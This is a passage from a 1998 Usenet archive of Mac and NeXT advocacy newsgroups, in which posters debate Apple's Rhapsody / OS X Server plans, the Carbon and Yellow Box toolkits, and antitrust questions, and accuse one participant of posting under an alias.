that only compiles on Linux... I really don't care to help other
operating systems grow. -- Albert D. Cahalan <acahalan@saturn.cs.uml.edu>
cbbrowne@ntlug.org- <http://www.ntlug.org/~cbbrowne/lsf.html>
From: cbbrowne@news.hex.net (Christopher Browne)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: ATTN: Now _THIS_ really is ludicrous!...
Date: 25 Nov 1998 23:29:12 GMT
Organization: Hex.Net Superhighway, DFW Metroplex 817-329-3182
Message-ID: <73i3s8$fmg$19@blue.hex.net>
References: <7329lg$ot0$1@nnrp02.primenet.com> <ee352.3248$%X5.8067515@newsgate.direct.ca> <732i4r$r9n$1@nnrp03.primenet.com> <3655d240.3919304@news.netlife.fi> <w0bzp9fcwev.fsf@mah21awu.YP.sparcm1>
NNTP-Posting-Date: 25 Nov 1998 23:29:12 GMT
On 25 Nov 1998 16:08:56 -0500, nospam@nospam.com <nospam@nospam.com> wrote:
>ttammi@netlife.fi (ttammi) writes:
>> Stephen Edwards <ja207030@primenet.com> wrote:
>> >Well, assuming what you state is true, perhaps I have jumped the gun.
>> >However, it just seems insane for an OS to have such hefty hardware
>> >requirements... it's difficult for me to see exactly _why_ needing 64MB of
>> >RAM to use a server makes sense. If I am just being highly irrational
>> >here, please tell me so.
>>
>> Well, the HP-UX workstations we run at work seem to always have
>> minimum 64MB of memory, and in many cases 128MB. Not to mention the
>> bigger HP-UX machines...
>
>This doesn't surprise me. If your company is anything like mine, then they
>buy all their hardware, including RAM, from the hardware vendor... who has
>a vested interest in selling you more than you need, right? :-)
RAM has gotten relatively cheap, and having more of it allows the system
to avoid the need to do I/O to read data off disk. This allows for
better performance. (Which we should all understand. This is "basic
UNIX" functionality.)
Now, if you're going to spend $15,000 on a system, why not budget for
about $450-$500 of that (e.g. - 3%) to be used on memory?
--
"Note that if I can get you to `su and say' something just by asking,
you have a very serious security problem on your system and you should
look into it." (By Paul Vixie, vixie-cron 3.0.1 installation notes)
cbbrowne@hex.net- <http://www.hex.net/~cbbrowne/lsf.html>
From: "Todd Heberlein (todd at NetSQ dot com)" <todd@dev.null>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: The future of OS X Server is bleak
Date: Wed, 25 Nov 1998 16:03:29 -0800
Organization: Net Squared, Inc.
Message-ID: <73i6rb$9rg$1@your.mother.com>
References: <199811251000.LAA32318@replay.com> <gmgraves-2511981252010001@sf-usr0-27-91.dialup.slip.net>
George Graves wrote in message ...
>OSX-Server won't have Carbon support, so basically what
> you get is an OS which will run Yellow-Box apps, or current
> MacOS apps (in a container) along with Java apps. Doesn't seem
> very compelling to me.
OSX Server is essentially Rhapsody, which was Apple's previous last
great hope, and it probably won't be that bad if it is ever released. I
suspect MacOS apps will run as well in the BlueBox as they do in native
MacOS. Furthermore, when they crash, they would not take out the entire
operating system (although, they may take out the entire BlueBox -
still, it would be an easier recovery).
Interaction with a UNIX environment would be much tighter (especially
nice for those who also work with UNIX), including using NFS (no need
for local home directories which need to be backed up), NIS, telnetting
to different boxes,and a local terminal window (which many of us still
like). OSX will also be able to serve up a number of UNIX servers, such
as fast robust web servers, IRC, DNS, etc.
The fact that it doesn't seem very compelling to you reflects a larger
problem I think Apple was experiencing last year, and what led to the
change to Carbon. Few analysts/pundits were excited about Rhapsody, but
most speak well of MacOS X with Carbon. And like it or not, these
people do have influence.
Todd
From: clund@DIE.SPAMMER.DIE.notam.uio.no (C Lund)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
Subject: Re: Lets Play A Game... (was: Re: A problem with QuickTime Vectors and Apple's graphics)
Date: 25 Nov 1998 16:51:48 GMT
Organization: University of Oslo, Norway
Message-ID: <clund-2511981755490001@ppp073.uio.no>
References: <73djkt$itc@news1.panix.com> <B27FA104-19AA4E@206.165.43.34> <73g21e$bd0@news1.panix.com> <SPAMLESSforrest-2511980017590001@term1-17.vta.west.net>
In article <SPAMLESSforrest-2511980017590001@term1-17.vta.west.net>,
SPAMLESSforrest@west.net (Forrest Cameranesi) wrote:
> High Priorities:
>
> YellowBox
> Carbon
> Java
>
> Low Priorities
>
> QuickTime
> AppleScript
> WebObjects
> OpenGL
> QuickDraw GX (more than just traditional GX though, see below).
QuickTime... "Low Pritority"??? I'd put that as a high priority instead of Java.
Java was a good idea. But in practice.. feh. I surf with everything Java
turned off. Java is no better than the people using it, and "most people"
seem to be fourteen year olds trying to make "kewl" webpages. Good for
crashing Netshit. Not good for anything else. Or maybe I've just been
running into sites using M$ Java?
> -Forrest Cameranesi
--
C Lund
http://www.notam.uio.no/~clund/
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
Subject: Let's play a game (was Re: A problem with QuickTime Vectors and Apple's graphics)
Date: 26 Nov 1998 02:22:18 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <73ie0q$35j@news1.panix.com>
References: <73g21e$bd0@news1.panix.com> <B280FD8E-71844@206.165.43.139>
On 25 Nov 98 00:19:24 -0700, Lawson English <english@primenet.com> wrote:
<<snip>>
Lawson, you completely dodged the question.
If you look at the debate brewing on what should be killed and what should
be saved, my point is pretty clear. No matter what technologies Apple
decided to save, and no matter what they decided to shelve, someone will
second guess the decision and complain that their favorite toy was taken
off the playground. Shit happens, learn to live with it.
You can't make everyone happy, what you can do it try to make as many people
happy as you can; while pissing off as few as you can. Even that isn't a
given.
Some GX technologies are being saved, some are being killed. It isn't because
Steve Jobs is out to get you. It isn't because of a conspiracy of NeXT users
to kill GX. It is because, at some point, a bunch of Apple execs sat in a
room with Steve and Avie and decided that some technologies were key assets
and some were either expendable, or too costly to maintain.
In the past two years we have seen you move from denial to anger. The next
phase is depression and then finally acceptance. When you get to acceptance,
come back to this newsgroup and I'm sure that all will be forgiven.
k and get them to give me a strait answer.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
Date: 26 Nov 1998 02:22:19 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <73ie0r$35j@news1.panix.com>
References: <01be1188$01ce14e0$06387880@chewy> <whaddock-1711981824460001@digital-03-213.hou.neosoft.com> <72tfuq$oj0@shelob.afs.com> <ZIt42.1609$rY3.5423920@news.rdc1.sdca.home.com> <01be1317$dca3f220$06387880@chewy> <731j16$6r4$1@ash.prod.itd.earthlink.net> <%G%42.2862$rY3.6449682@news.rdc1.sdca.home.com> <732c5r$bim$1@nnrp1.dejanews.com> <732qrv$ae5@news1.panix.com> <733up8$l4h$1@nnrp1.dejanews.com> <739lhb$g1r@news1.panix.com> <73btsl$nb2$1@nnrp1.dejanews.com> <73djku$itc@news1.panix.com> <73efr0$n4o$1@nnrp1.dejanews.com> <73g21j$bd0@news1.panix.com> <73g41e$3bf$1@your.mother.com>
On Tue, 24 Nov 1998 21:03:02 -0800, Todd Heberlein (todd at NetSQ dot com)
<todd@dev.null> wrote:
>>The moment that Apple announced Carbon, YB developers got the
^^^^^^^^^^^^^^^^^^^^^
>> shaft. Apple users were given a big reason to postpone moving to OSX.
^^^^^^^
>I disagree.
On second reading, I think the choice of words was rather harsh and the
tone regrettable. I humbly rescind them.
A better phrase would have "YB developers were thrown a curve, and now
find themselves with a competing toolkit"
> I believe Carbon may have helped YB developers by making
>MacOS X mainstream, helping Apple as a company, and giving YB developers
>a greater customer base to sell into.
Yes, but now those developers find themselves fighting for space with
Apps that Apple users a) already know b) already own and c) are sold
and marketed by large companies with a lot of pull in the publishing
and content creation markets.
>I believe YB developers got the shaft when (1) Apple continually delayed
>shipping Rhapsody (now MacOS X Server), and (2) did not make any
>commercial OpenStep system commercially available (especially
>inexpensively).
Before you attribute a) to malice on the part of Apple, head over to
Stepwise (http://www.stepwise.com) and read the latest article on the
OSX server delay.
>The rate of new OpenStep customers was anemic before Apple purchased
>NeXT; after the purchase the numbers essentially dropped to zero - by
>Apple's choice. That hurts when you are developing software for that
>market.
Didn't Apple ship over 10k copies of DR2? How many copies of OpenStep4.2
sold in the year prior to the Apple purchase.
>PS. After the purchase of NeXT, Apple, like Linux, had a BSDish system
>available for Intel, but Apple also had nice OpenStep/NEXTSTEP
>applications and a killer development environment. However, over the
>last two years, Linux has gained all the market share and mindshare and
>Apple's Intel solution isn't on anyone's radar.
Yes, and it took Linux four years to get to the point where it even
showed up on anyones radar. I doubt it will take less time for OSX to
reach that point.
It is hard to charge money for a raw development system when your name
isn't Microsoft. While some (perhaps many) Linux users might buy OSX for
the "kewlness" factor, I don't think that more than 5% or 10% are going
to jump to being full time OSX users. (maybe the numbers will be higher
in the LinuxPPC community)
From: Robert Fovell <rfovell@yahoo.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: The future of OS X Server is bleak
Date: Wed, 25 Nov 1998 18:25:43 -0800
Organization: University of California, Los Angeles
Message-ID: <365CBC23.4EFA0BE4@yahoo.com>
References: <199811251000.LAA32318@replay.com> <gmgraves-2511981252010001@sf-usr0-27-91.dialup.slip.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
George Graves wrote:
> I've often wondered what the point of releasing OS-X Server actually is.
> Apple says that there is never going to be anything beyond v.1.0, and that
> OSX-Server won't have Carbon support, so basically what you get is an
> OS which will run Yellow-Box apps, or current MacOS apps (in a container)
> along with Java apps. Doesn't seem very compelling to me. There aren't
> that many Yellow-Box apps (and won't be despite the fact that the Yellow
> Box is a far better cross-platform development environment than is Java)
> and the MacOS that they are saying OS-X server will ship with is OS8.1.
> If Apple did decide to shelve it and go directly for the gold, it wouldn't
> surprise me, and its probably NOT a bad move.
I, for one, hope Apple releases OS-X Server, and does it soon. Yes, I, too am
looking forward to OS-X "full". But I use Unix systems every day, and you can
believe I would appreciate a usable Unix with a MacOS look-and-feel. Unix
isn't for everyone, and it may not be for you. Heck, tho I respect Unix, I
sure as hell don't like it. But I need it. Even a rather crudely applied Mac
feel stretched thinly over a Unix underbelly would be better in some respects
than I currently have.
BTW, I believe Apple said OS-X Server for *Intel* will stop at v1.0, not
necessarily Server for PPC. I hope I am not wrong.
--
Robert Fovell / UCLA Atmospheric Sciences / Los Angeles, CA
http://uniblab.atmos.ucla.edu/~fovell [science page]
http://home.earthlink.net/~rfovell [PC parody page]
"That's not what a Mac does. I want Mac on the PC.
I want Mac on the PC." -- Bill Gates
From: Robert Fovell <rfovell@yahoo.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: J. Walt Covington is Jonathan Harker (was Re: "Knife the baby" finally appears)
Date: Wed, 25 Nov 1998 18:36:51 -0800
Organization: University of California, Los Angeles
Message-ID: <365CBEBE.1E30454D@yahoo.com>
References: <364295A3.ABE8C927@earthlink.net> <364B0920.74AB6512@spamtoNull.com> <72i4pl$e69$1@coward.cc.utah.edu> <364DAC84.DDC3A1A4@spamtoNull.com> <19981114211830178656@pm2-3-11.aug.com> <365069F2.4ED5904F@spamtoNull.com> <72qrqc$l0q@news1.panix.com> <cirby-1711981107070001@pm51-46.magicnet.net> <36598CEC.A037534F@spamtoNull.com> <cirby-2311981234010001@pm53-43.magicnet.net> <365AE0D0.1C3F0058@earthlink.net> <cirby-2411981225020001@pm61-44.magicnet.net> <365C3A55.1E8FD416@spamtoNull.com> <73ie0p$35j@news1.panix.com>
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Sal Denaro wrote:
>
> On Wed, 25 Nov 1998 12:11:49 -0500, Jonathan Harker
> <Limeyville@spamtoNull.com> wrote:
> >> "J. Walt Covington" <johnandsusanne@earthlink.net> wrote:
> >I can't speak for him, but...
>
> Of course you can, "John Walter Covington" is "Jonathan Harker".
>
> You both use Earthlink.
> You both use Netscape 4.5
> You both use on Win98
> You are both in the same newsgroups (and only these newsgroups)
> You both use the same emoticon forms (ellipses and ending smiley.)
> You are both fond of starting a reply with phrases like "You are
> completely missing the point" and "Let's try it again slow…"
> You are both named "John"
> You are both fond of enumerating a list by starting with "First, "
> and then never listing a "second" or "third".
> You both echo the same opinions.
>
> It is pretty easy to see that there are just too many coincidences.
>
> Ohh, and if you try to deny it; I'll just send a polite inquiry to
> Earthlink and get them to give me a strait answer.
Plus: NNTP-Posting-Hosts for "Covington" and "Harker", drawn from recent
posts in this thread...
1cust139.tnt16.atl2.da.uu.net
1cust75.tnt16.atl2.da.uu.net
So, Johnny created an alias. Look at the bright side: he finally has someone
who agrees with him :-)
To everyone else: I started this "Knife the baby" thread, and I most humbly apologize!
--
Robert Fovell / UCLA Atmospheric Sciences / Los Angeles, CA
http://uniblab.atmos.ucla.edu/~fovell [science page]
http://home.earthlink.net/~rfovell [PC parody page]
"That's not what a Mac does. I want Mac on the PC.
I want Mac on the PC." -- Bill Gates
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.mac.programmer.codewarrior,comp.sys.mac.programmer.help,comp.sys.mac.system,comp.sys.mac.wanted,comp.sys.next.advocacy,comp.sys.palmtops,comp.sys.palmtops.pilot,comp.sys.psion.apps
Subject: cmsg cancel <25119822.2554@thredzone.com>
Control: cancel <25119822.2554@thredzone.com>
Date: 26 Nov 1998 03:09:13 GMT
Organization: BOFH Space Command, Usenet Division
Message-ID: <cancel.25119822.2554@thredzone.com>
Sender: Lisa@thredzone.com
Article cancelled as EMP/ECP, exceeding a BI of 20.
The "Current Usenet spam thresholds and guidelines" FAQ is available at
http://www.uiuc.edu/ph/www/tskirvin/faqs/spam.html
Please include the X-CosmoTraq header of this message in any correspondence
specific to this spam.
Sick-O-Spam, Spam-B-Gon!
Message-ID: <365B5B6B.CF42B4BB@gamewood.net>
Date: Tue, 24 Nov 1998 20:20:45 -0500
From: "William C. Hicklin" <solicitr@gamewood.net>
Organization: Hah!
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
References: <364295A3.ABE8C927@earthlink.net> <adtF2K0yo.K7D@netcom.com> <atticus-1711982007150001@user-38lcbh2.dialup.mindspring.com> <3659BB98.F4529E3C@spamtoNull.com> <73ctj7$ik0$1@nnrp1.dejanews.com> <rbarris-ya023280002311981637350001@206.82.216.1> <365B10DD.43341843@spamtoNull.com> <19981124181652165544@ts1-13.aug.com>
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Rick wrote:
> Jonathan Harker <Limeyville@spamtoNull.com> wrote:
>
> > Well, no one has demonstrated that Microsoft selling Windows was
> > illegal, either. Microsoft is being accused of "using its monopoly power
> > in one market to stifle competition." *That's* the supposed illegality.
> > I think it fits Apple's handling of the Mac clone companies like a
> > glove.
>
> If it was such an illegal act, why has someone, anyone, charged Apple
> with something, or sued them over it?
> --
Why? Because Apple has patents on its motherboard designs and copyrights on
its ROMs. These *are* monopolies- legal monopolies created by Federal
statute pursuant to an express provision of the Constitution.
Not all monopolies violate the Sherman and Clayton acts. Microsoft's
near-complete monopoly of PC OS's could have been achieved (and largely was)
by the clever business tactic of licensing DOS to IBM, the dominant market
force at the time. Nothing wrong with that. (There *was* something wrong with
DOS being a bootleg of CP/M, but that's beside the point).
Just having a monopoly is not against the law. Misusing that monopoly power
to bulldoze competition is against the law. Theoretically, Apple had no
competition to bulldoze, since its monopoly consisted in its patents and
copyrights, as extended to Apple's licensees (the clone makers). They were
part of the monopoly, not outside it.
From: "Greg Anderson" <greg@afs.com>
Newsgroups: comp.sys.next.advocacy
Subject: Rohit! Lookin' good, my man!
Date: Wed, 25 Nov 1998 22:15:08 -0500
Organization: Anderson Financial Systems Inc.
Message-ID: <73ih61$1t5@crab.afs.com>
Just got done watching Robert Cringely's new show, "Nerds 2.0.1: A Brief
History of the Internet." In the third hour, long-time c.s.n.advocacy
participant Rohit Khare (now with W3C) gets some face time, along with Tim
Berners-Lee. Unfortunately, we don't get a peek at Tim's original NeXT-based
browser. In fact, NeXT's name doesn't come up at all. 8^( Good show
otherwise, though.
Greg
From: "Greg Anderson" <greg@afs.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
Date: Wed, 25 Nov 1998 22:19:48 -0500
Organization: Anderson Financial Systems Inc.
Message-ID: <73ihep$1t9@crab.afs.com>
References: <01be1188$01ce14e0$06387880@chewy> <whaddock-1711981824460001@digital-03-213.hou.neosoft.com> <72tfuq$oj0@shelob.afs.com> <ZIt42.1609$rY3.5423920@news.rdc1.sdca.home.com> <01be1317$dca3f220$06387880@chewy> <731j16$6r4$1@ash.prod.itd.earthlink.net> <%G%42.2862$rY3.6449682@news.rdc1.sdca.home.com> <732c5r$bim$1@nnrp1.dejanews.com> <732qrv$ae5@news1.panix.com> <733up8$l4h$1@nnrp1.dejanews.com> <739lhb$g1r@news1.panix.com> <73btsl$nb2$1@nnrp1.dejanews.com> <73djku$itc@news1.panix.com> <73efr0$n4o$1@nnrp1.dejanews.com> <73g21j$bd0@news1.panix.com> <73g41e$3bf$1@your.mother.com> <73ie0r$35j@news1.panix.com>
Sal Denaro wrote:
>Didn't Apple ship over 10k copies of DR2? How many copies of OpenStep4.2
>sold in the year prior to the Apple purchase.
Doesn't matter. You're specifically forbidden from selling software created
with a Developer Release, and there will be binary incompatibilities between
DR2 and Gold Master.
Greg
From: josh@vortex.nyu.edu (Josh Fishman)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: ATTN: Now _THIS_ really is ludicrous!...
Date: Wed, 25 Nov 1998 18:39:44 -0500
Organization: New York University
Message-ID: <slrn75p5ls.a93.josh@vortex.nyu.edu>
References: <7329lg$ot0$1@nnrp02.primenet.com> <ee352.3248$%X5.8067515@newsgate.direct.ca> <732i4r$r9n$1@nnrp03.primenet.com> <3655d240.3919304@news.netlife.fi> <slrn75e9bi.253.josh@vortex.nyu.edu> <F2tBB8.3Hr@no.circulars>
On Sun, 22 Nov 1998 07:25:56 GMT, Simon Hosie wrote:
> Josh Fishman:
> > Feh! Linux has had Animated Wallpapers since the first penguin crawled out
> > of the primordial swap and typed ``flame -root''.
>
> Is "swap" a pun I only partially get, or a typo leaving open a pun that I
> can't quite make up?
>
> I'd crosspost to a.u.e (they'd know what to do, I'm sure of it), but I don't
> think they'd appreciate a crosspost to *.advocacy.
It's a bad pun.
Also, I just can't picture a penguin crawling out of soup.
- Josh
--
O< ( ( ``I would turn the question around, and ask,
_NH >=O ) ) "If it's a hobby for us and a job for you,
<_>-<_ + :::::-. then why are you doing such a shoddy job?"''
HCl<O> :::`-' -- Linus Torvalds
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: New date for OS X Server?
Newsgroups: comp.sys.next.advocacy
References: <01be1188$01ce14e0$06387880@chewy> <01be1317$dca3f220$06387880@chewy> <731j16$6r4$1@ash.prod.itd.earthlink.net> <%G%42.2862$rY3.6449682@news.rdc1.sdca.home.com> <732c5r$bim$1@nnrp1.dejanews.com> <732qrv$ae5@news1.panix.com> <733up8$l4h$1@nnrp1.dejanews.com> <739lhb$g1r@news1.panix.com> <73btsl$nb2$1@nnrp1.dejanews.com> <73djku$itc@news1.panix.com> <73efr0$n4o$1@nnrp1.dejanews.com> <73g21j$bd0@news1.panix.com> <73g41e$3bf$1@your.mother.com> <73ie0r$35j@news1.panix.com>
Message-ID: <365cd784.0@news.depaul.edu>
Date: 26 Nov 98 04:22:28 GMT
Sal Denaro <sal@panix.com> wrote:
> A better phrase would have "YB developers were thrown a curve, and now
> find themselves with a competing toolkit"
Why does this matter, exactly? Competing toolkits are GOOD. Choice is
GOOD.
Having two toolkits would only be a threat if Apple weren't using
both toolkits to write OS X.
> > I believe Carbon may have helped YB developers by making
> >MacOS X mainstream, helping Apple as a company, and giving YB developers
> >a greater customer base to sell into.
> Yes, but now those developers find themselves fighting for space with
> Apps that Apple users a) already know b) already own and c) are sold
> and marketed by large companies with a lot of pull in the publishing
> and content creation markets.
And without those competing apps, the developers would have no markets
to sell to. Catch-22.
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Interesting factoid...
Newsgroups: comp.sys.next.advocacy
Message-ID: <365cdbb2.0@news.depaul.edu>
Date: 26 Nov 98 04:40:18 GMT
Somebody's been posting to rec.arts.sf.written, with an
Apple email address, but a Javasoft organization, and
a .sig explaining that she's a Javasoft employee working
at Apple.
(Does Javasoft still technically exist?)
I didn't recognize the name as a Lighthouse person.
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
Message-ID: <365C3A80.8D923A36@home.com>
From: Ari <arikounavis@home.com>
Organization: I don't even have a watch
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy
Subject: Re: Interesting factoid...
References: <365cdbb2.0@news.depaul.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Date: Thu, 26 Nov 1998 05:11:18 GMT
NNTP-Posting-Date: Wed, 25 Nov 1998 21:11:18 PDT
Quick! Call MacOS rumors!
ari
Jonathan W Hendry wrote:
>
> Somebody's been posting to rec.arts.sf.written, with an
> Apple email address, but a Javasoft organization, and
> a .sig explaining that she's a Javasoft employee working
> at Apple.
>
> (Does Javasoft still technically exist?)
>
> I didn't recognize the name as a Lighthouse person.
>
> --
> Note: email to this address goes to /dev/null
> To email a reply, write to jon at exnext dot com
Message-ID: <365C3CDF.35E0519B@home.com>
From: Ari <arikounavis@home.com>
Organization: I don't even have a watch
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: J. Walt Covington is Jonathan Harker (was Re: "Knife the baby"
finally appears)
References: <364295A3.ABE8C927@earthlink.net> <364B0920.74AB6512@spamtoNull.com> <72i4pl$e69$1@coward.cc.utah.edu> <364DAC84.DDC3A1A4@spamtoNull.com> <19981114211830178656@pm2-3-11.aug.com> <365069F2.4ED5904F@spamtoNull.com> <72qrqc$l0q@news1.panix.com> <cirby-1711981107070001@pm51-46.magicnet.net> <36598CEC.A037534F@spamtoNull.com> <cirby-2311981234010001@pm53-43.magicnet.net> <365AE0D0.1C3F0058@earthlink.net> <cirby-2411981225020001@pm61-44.magicnet.net> <365C3A55.1E8FD416@spamtoNull.com> <73ie0p$35j@news1.panix.com> <365CBEBE.1E30454D@yahoo.com>
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Date: Thu, 26 Nov 1998 05:21:25 GMT
NNTP-Posting-Date: Wed, 25 Nov 1998 21:21:25 PDT
Robert Fovell wrote:
>
> Sal Denaro wrote:
> >
> > On Wed, 25 Nov 1998 12:11:49 -0500, Jonathan Harker
> > <Limeyville@spamtoNull.com> wrote:
> > >> "J. Walt Covington" <johnandsusanne@earthlink.net> wrote:
> > >I can't speak for him, but...
> >
> > Of course you can, "John Walter Covington" is "Jonathan Harker".
and I bet he killed Colonel Mustard with the candle stick in the
conservatory!
> >
> > You both use Earthlink.
> > You both use Netscape 4.5
> > You both use on Win98
> > You are both in the same newsgroups (and only these newsgroups)
> > You both use the same emoticon forms (ellipses and ending smiley.)
> > You are both fond of starting a reply with phrases like "You are
> > completely missing the point" and "Let's try it again slow…"
> > You are both named "John"
> > You are both fond of enumerating a list by starting with "First, "
> > and then never listing a "second" or "third".
> > You both echo the same opinions.
> >
> > It is pretty easy to see that there are just too many coincidences.
> >
> > Ohh, and if you try to deny it; I'll just send a polite inquiry to
> > Earthlink and get them to give me a strait answer.
The jig is up Harker, or should I say Covington...
>
> Plus: NNTP-Posting-Hosts for "Covington" and "Harker", drawn from recent
> posts in this thread...
>
> 1cust139.tnt16.atl2.da.uu.net
> 1cust75.tnt16.atl2.da.uu.net
>
> So, Johnny created an alias. Look at the bright side: he finally has someone
> who agrees with him :-)
>
> To everyone else: I started this "Knife the baby" thread, and I most humbly apologize!
>
> --
> Robert Fovell / UCLA Atmospheric Sciences / Los Angeles, CA
>
> http://uniblab.atmos.ucla.edu/~fovell [science page]
> http://home.earthlink.net/~rfovell [PC parody page]
>
> "That's not what a Mac does. I want Mac on the PC.
> I want Mac on the PC." -- Bill Gates
ari
From: "Greg Anderson" <greg@afs.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: PC Week calls Rhapsody an "IT Turkey"
Date: Thu, 26 Nov 1998 00:24:43 -0500
Organization: Anderson Financial Systems Inc.
Message-ID: <73iop0$29t@crab.afs.com>
Not that this should surprise anyone, but Apple got one of PC Week's IT
Turkey Awards this week for Rhapsody. Specifically, it says:
"Rotten Apple: Before iMac came the Rhapsody OS -- the *first* savior of
Steve Jobs' enterprise. How many software developers wasted their time on a
product that never saw the light of day?"
Quibble with the details if you like, but you have to admit this is the
common perception.
Greg
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: J. Walt Covington is Jonathan Harker (was Re: "Knife the baby" finally appears)
Date: 26 Nov 1998 06:42:04 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <73it7s$7i4@news1.panix.com>
References: <364295A3.ABE8C927@earthlink.net> <364B0920.74AB6512@spamtoNull.com> <72i4pl$e69$1@coward.cc.utah.edu> <364DAC84.DDC3A1A4@spamtoNull.com> <19981114211830178656@pm2-3-11.aug.com> <365069F2.4ED5904F@spamtoNull.com> <72qrqc$l0q@news1.panix.com> <cirby-1711981107070001@pm51-46.magicnet.net> <36598CEC.A037534F@spamtoNull.com> <cirby-2311981234010001@pm53-43.magicnet.net> <365AE0D0.1C3F0058@earthlink.net> <cirby-2411981225020001@pm61-44.magicnet.net> <365C3A55.1E8FD416@spamtoNull.com> <73ie0p$35j@news1.panix.com> <365CBEBE.1E30454D@yahoo.com> <365C3CDF.35E0519B@home.com>
On Thu, 26 Nov 1998 05:21:25 GMT, Ari <arikounavis@home.com> wrote:
>Robert Fovell wrote:
>> Sal Denaro wrote:
>> > On Wed, 25 Nov 1998 12:11:49 -0500, Jonathan Harker
>> > >> "J. Walt Covington" <johnandsusanne@earthlink.net> wrote:
>> > >I can't speak for him, but...
>> > Of course you can, "John Walter Covington" is "Jonathan Harker".
>and I bet he killed Colonel Mustard with the candle stick in the
>conservatory!
Odd. I never thought that someone would be able to link "Jonathan
Harker" with "clue"
<<clip>>
From: SPAMLESSforrest@west.net (Forrest Cameranesi)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: The future of OS X Server is bleak
Message-ID: <SPAMLESSforrest-2511982252310001@term1-26.vta.west.net>
References: <199811251000.LAA32318@replay.com> <gmgraves-2511981252010001@sf-usr0-27-91.dialup.slip.net> <365CBC23.4EFA0BE4@yahoo.com>
Organization: Obsidian
Date: Wed, 25 Nov 1998 22:52:15 -0800
NNTP-Posting-Date: Wed, 25 Nov 1998 22:51:49 PDT
In article <365CBC23.4EFA0BE4@yahoo.com>, rfovell@yahoo.com wrote:
[should OSX Server be released, yes/no, abort/retry/fail?]
I think the current floundering state of OSX (Server specifically) is due
to the way the whole thing was handled from the get-go. In late 96 or
early 97, Apple should have released whatever new version of OpenStep was
in the works (4.0?) for the NeXTies, and any Mac/Win/unix users who had
never heard of it but might want to try it. Don't have to market the hell
out of it neccesarily, just get it out there and let it be known that Yes,
Virginia, there is an OpenStep/Mach coming out of Apple. Continue working
on MacOS, continue working on OpenStep, adding features between the two,
working closer to convergance, but keep working, and keep releasing
products instead of getting Coplanditis (add to feature list, push back
release date, repeat). By this time we would likely have MacOS 8.5 just
like it is, and a version of OpenStep/Mach with QTML and a more Mac-like
interface. And an OpenStep for Windows with QTML integrated. This would
allow people to get a head start on apps for OS X, the Holy Grail of OS
convergances, because they could write apps for OpenStep that would run on
PPC and x86 hardware with just a compiler checkbox (and some UI changes
with IB) and actually be allowed to release them and make a profit!
Imagine that! Maybe include a free copy of "OS/M Lite" (just Mach, BSD,
and OpenStep, with no WO, EOF, IB or PB) with each new Mac, or a half-off
coupon for it with every purchase of classic MacOS, just some promotional
dealy to get it Mac users' desktops (and Wintel users can run the new apps
with OpenStep for Windows). Then, by the time OSX is done, there will be
plenty of OpenStep apps out there, it will be at least a partially
established cross-platform API, and with Carbon the big kahunas of Mac
applications (MS, Adobe, etc) can just port their apps over. Much better
strategy than fumbling with the release of OSX Server, having no YB apps
out when OSX is released, and basically just dumping a new OS on
everyone's doorsteps with next to no incentive to move to the superior
API. Gradual == good. Sudden, jerky strategy changes == bad. Unfortunately
Amelio got us all off on the wrong foot, and there's nto much Steve can do
now to correct it, so he had to salvage what he could with a sudden, jerky
strategy change in the other direction; Carbon OSX in 99, intermittent OSX
Server "any day now" (or in Marathoner terminology, "in two weeks" - drop
by alt.games.marathon if you don't get the joke).
--
-Forrest Cameranesi
Owner of the Universe, seeking employees for "Ruler" and "Master" positions. Apply at front desk. All prices subject to chance. Universe, the Universe logo, and all objects contained within are (TM) and (C) Everything Unlimited, a wholly owned subsidary of Cameranesi Enterprises. Remember, "We know what you want. We know what you need. We know where you live."
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: PC Week calls Rhapsody an "IT Turkey"
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
References: <73iop0$29t@crab.afs.com>
Message-ID: <365cfdba.0@news.depaul.edu>
Date: 26 Nov 98 07:05:30 GMT
In comp.sys.next.advocacy Greg Anderson <greg@afs.com> wrote:
> Not that this should surprise anyone, but Apple got one of PC Week's IT
> Turkey Awards this week for Rhapsody. Specifically, it says:
